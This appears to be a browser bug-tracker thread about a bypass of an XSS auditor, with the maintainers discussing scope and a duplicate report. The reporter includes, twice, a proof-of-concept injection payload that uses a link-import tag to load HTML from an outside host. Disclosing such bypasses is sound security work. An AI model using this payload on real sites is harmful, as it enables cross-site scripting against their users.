when the url scheme is HTTP,
<img alt="[injection]" src="x"> also has bypass like:

x=1"><link%20rel="import"%20href=https:www.cm3.pw/

need no script after the injection

tsepez@, what's in/out of scope for the XSS auditor? I notice we get a lot of these, it might be good to add to the sheriff docs or FAQ.

tom, ping, can you please take a look at this one too?

Thanks for the report. We don't usually track XSS auditor bypasses as security vulnerabilities, but this may still be a bug.

alright,thanks for your paying attention on my issue again

We give a pass to same-origin scripts to cut down on the XSSAuditor false positive rate.  If you try injecting a script from a different origin, and it is still not caught, then feel free to re-open the bug.

well I don't think the same-origin limit works on my POC
"
<img alt="[injection]" src="x"> also has bypass like:

x=1"><link%20rel="import"%20href=https:www.cm3.pw/

"

you can test it

Yup. Got another report.  Thanks.  

23333

Is this bug already fixed?

I don't think so, 
to my disappointment it was duplicated to another one reported even later than mine.
And I have no permission to access this one id=`613123`.
But anyway,I'd like to 膜 teacher P at this place 0.0!

Sorry about the "duplicate to later", result of misdiagnosing this original issue and having the second report come in.

Never mind , thank you